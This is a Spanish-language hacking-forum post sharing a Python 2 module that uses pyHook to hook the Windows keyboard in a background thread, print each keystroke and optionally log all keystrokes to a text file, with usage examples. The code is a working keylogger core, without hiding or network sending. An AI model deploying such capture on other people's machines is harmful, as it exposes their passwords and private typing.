comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[bindKeyboard] Escuchar teclado en un nuevo hilo

  • 0 Respuestas
  • 1210 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 191
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« en: Abril 01, 2016, 11:05:48 am »
Buenas a todos de nuevo, hoy quiero compartir un script que hice viendo que por internet algunos piden como ejecutar la escucha del teclado con pyHook en un nuevo hilo, pues hice un módulo que creo que ayudará bastante a la hora de poder hacerlo.

bindKeyboard.py
Código: Python
  1. #By: HackLoper
  2. #twiter: https://twitter.com/HackLoper
  3. #canal-youtube: hackdeveloper
  4. #facebook: hackloper
  5. #site: http://hackloper.blogspot.com.es/2016/03/capturar-teclado-en-nuevo.html
  6.  
  7. import pyHook,pythoncom
  8. from threadComm import Thread
  9. from os import SEEK_END as END
  10.  
  11. class bindKeyboard(Thread):
  12.     def __init__(self,work=True,write=False,name_file='text.txt'):
  13.         self.wk=work;self.wr=write;self.nf=name_file
  14.         Thread.__init__(self)
  15.  
  16.     def work(self,event):
  17.         print 'Ascii:', unichr(event.Ascii)
  18.  
  19.     def run(self):
  20.         h = keyboard(self.wk,self.wr,self.nf)
  21.         h.work = self.work
  22.         h.bindMessages()
  23.  
  24. class keyboard(pyHook.HookManager):
  25.     def __init__(self,work=True,write=False,name_file=None):
  26.         self._work = work
  27.         self._write = write
  28.         self._name_file = name_file
  29.         pyHook.HookManager.__init__(self)
  30.         self.HookKeyboard()
  31.         self.KeyDown = self.__keyDown
  32.  
  33.     def __write_in_file(self,data,key):
  34.         f = open(self._name_file,"a")
  35.         if key == 'Back':
  36.             f.seek(-1,END)
  37.             f.truncate()
  38.         elif key == 'Return':
  39.             f.write('\n')
  40.         elif key == 'Space':
  41.             f.write(' ')
  42.         else:
  43.             f.write(data.encode('utf-8'))
  44.         f.close()
  45.  
  46.     def __keyDown(self,event):
  47.         if self._work == True: self.work(event)
  48.         if self._write == True: self.__write_in_file(unichr(event.Ascii),event.Key)
  49.         return 1
  50.  
  51.     def bindMessages(self):
  52.         pythoncom.PumpMessages()

Método de uso simple:

Código: Python
  1. from bindKeyboard import  bindKeyboard
  2. import time
  3.  
  4. keyboard = bindKeyboard(work=True,write=True,name_file="teclas.txt")
  5. keyboard.start()
  6. time.sleep(10)

Método de uso con herencia:

Código: Python
  1. from bindKeyboard import  bindKeyboard
  2. import time
  3.  
  4. class keyboard(bindKeyboard):
  5.     def __init__(self,work=True,write=False,name_file="teclas.txt"):
  6.         bindKeyboard.__init__(self,work,write,name_file)
  7.     def work(self,event):
  8.         print unichr(event.Ascii)
  9.  
  10. mykeyboard = keyboard()
  11. mykeyboard.start()
  12. time.sleep(10)

Para mi recomendación con herencia se hace mas fácil ya que podremos trabajar dentro de la clase con fas facilidad creando nuestros atriburos y métodos necesarios.
« Última modificación: Abril 04, 2016, 08:57:02 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Mostrar raiz n-ésima de un número dado por teclado

Iniciado por D3ivid

Respuestas: 5
Vistas: 2133
Último mensaje Julio 21, 2015, 02:00:46 pm
por n0Sense